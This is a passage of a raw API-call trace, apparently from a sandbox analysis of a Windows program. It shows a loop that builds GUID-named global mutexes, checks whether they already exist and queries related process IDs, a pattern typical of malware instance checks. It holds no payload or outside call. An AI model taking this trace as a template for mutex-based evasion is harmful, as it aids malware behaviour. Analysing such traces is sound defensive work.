[1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.250] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.250] GetLastError () returned 0xb7 [0126.250] CloseHandle (hObject=0x6cc) returned 1 [0126.250] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.250] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.250] GetLastError () returned 0x0 [0126.250] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.250] CloseHandle (hObject=0x6cc) returned 1 [0126.251] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.251] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.251] GetLastError () returned 0x0 [0126.251] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.251] CloseHandle (hObject=0x6cc) returned 1 [0126.251] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.251] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.251] GetLastError () returned 0xb7 [0126.251] CloseHandle (hObject=0x6cc) returned 1 [0126.252] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.252] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.252] GetLastError () returned 0x0 [0126.252] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.252] CloseHandle (hObject=0x6cc) returned 1 [0126.259] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.259] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.259] GetLastError () returned 0xb7 [0126.259] CloseHandle (hObject=0x6cc) returned 1 [0126.373] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.373] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.373] GetLastError () returned 0xb7 [0126.373] CloseHandle (hObject=0x6cc) returned 1 [0126.374] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.374] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.374] GetLastError () returned 0xb7 [0126.374] CloseHandle (hObject=0x6cc) returned 1 [0126.374] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.374] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.374] GetLastError () returned 0x0 [0126.374] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.374] CloseHandle (hObject=0x6cc) returned 1 [0126.375] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.375] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.375] GetLastError () returned 0x0 [0126.375] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.375] CloseHandle (hObject=0x6cc) returned 1 [0126.375] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.375] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.375] GetLastError () returned 0xb7 [0126.375] CloseHandle (hObject=0x6cc) returned 1 [0126.376] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.376] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.376] GetLastError () returned 0x0 [0126.376] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.376] CloseHandle (hObject=0x6cc) returned 1 [0126.383] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.383] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.383] GetLastError () returned 0xb7 [0126.383] CloseHandle (hObject=0x6cc) returned 1 [0126.530] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.530] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x568 [0126.530] GetLastError () returned 0xb7 [0126.530] CloseHandle (hObject=0x568) returned 1 [0126.530] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.530] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x568 [0126.530] GetLastError () returned 0xb7 [0126.530] CloseHandle (hObject=0x568) returned 1 [0126.531] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.531] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x568 [0126.531] GetLastError () returned 0x0 [0126.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.531] CloseHandle (hObject=0x568) returned 1 [0126.531] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.531] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x568 [0126.531] GetLastError () returned 0x0 [0126.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.531] CloseHandle (hObject=0x568) returned 1 [0126.531] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.531] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x568 [0126.532] GetLastError () returned 0xb7 [0126.532] CloseHandle (hObject=0x568) returned 1 [0126.532] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.532] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x568 [0126.532] GetLastError () returned 0x0 [0126.532] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.532] CloseHandle (hObject=0x568) returned 1 [0126.539] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.539] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0126.539] GetLastError () returned 0xb7 [0126.539] CloseHandle (hObject=0x568) returned 1 [0126.669] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.669] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.670] GetLastError () returned 0xb7 [0126.670] CloseHandle (hObject=0x6cc) returned 1 [0126.671] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.671] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.671] GetLastError () returned 0xb7 [0126.671] CloseHandle (hObject=0x6cc) returned 1 [0126.673] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.673] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.673] GetLastError () returned 0x0 [0126.673] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.673] CloseHandle (hObject=0x6cc) returned 1 [0126.674] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.675] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.675] GetLastError () returned 0x0 [0126.675] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.675] CloseHandle (hObject=0x6cc) returned 1 [0126.676] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.676] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.676] GetLastError () returned 0xb7 [0126.676] CloseHandle (hObject=0x6cc) returned 1 [0126.677] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.677] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.677] GetLastError () returned 0x0 [0126.677] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.677] CloseHandle (hObject=0x6cc) returned 1 [0126.691] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.691] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.691] GetLastError () returned 0xb7 [0126.691] CloseHandle (hObject=0x6cc) returned 1 [0126.821] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.822] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.822] GetLastError () returned 0xb7 [0126.822] CloseHandle (hObject=0x6cc) returned 1 [0126.823] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.823] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.823] GetLastError () returned 0xb7 [0126.823] CloseHandle (hObject=0x6cc) returned 1 [0126.825] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.825] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.825] GetLastError () returned 0x0 [0126.825] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.825] CloseHandle (hObject=0x6cc) returned 1 [0126.826] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.826] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.826] GetLastError () returned 0x0 [0126.826] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.826] CloseHandle (hObject=0x6cc) returned 1 [0126.827] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.827] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.827] GetLastError () returned 0xb7 [0126.827] CloseHandle (hObject=0x6cc) returned 1 [0126.828] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.828] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.828] GetLastError () returned 0x0 [0126.828] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.828] CloseHandle (hObject=0x6cc) returned 1 [0126.842] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.842] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.842] GetLastError () returned 0xb7 [0126.842] CloseHandle (hObject=0x6cc) returned 1 [0126.965] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.965] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.965] GetLastError () returned 0xb7 [0126.965] CloseHandle (hObject=0x6cc) returned 1 [0126.965] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.965] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.965] GetLastError () returned 0xb7 [0126.965] CloseHandle (hObject=0x6cc) returned 1 [0126.966] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.966] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.966] GetLastError () returned 0x0 [0126.966] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.966] CloseHandle (hObject=0x6cc) returned 1 [0126.966] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.966] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.966] GetLastError () returned 0x0 [0126.966] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.966] CloseHandle (hObject=0x6cc) returned 1 [0126.966] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.966] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.966] GetLastError () returned 0xb7 [0126.966] CloseHandle (hObject=0x6cc) returned 1 [0126.967] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.967] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.967] GetLastError () returned 0x0 [0126.967] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.967] CloseHandle (hObject=0x6cc) returned 1 [0126.974] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.974] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.974] GetLastError () returned 0xb7 [0126.974] CloseHandle (hObject=0x6cc) returned 1 [0127.076] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, 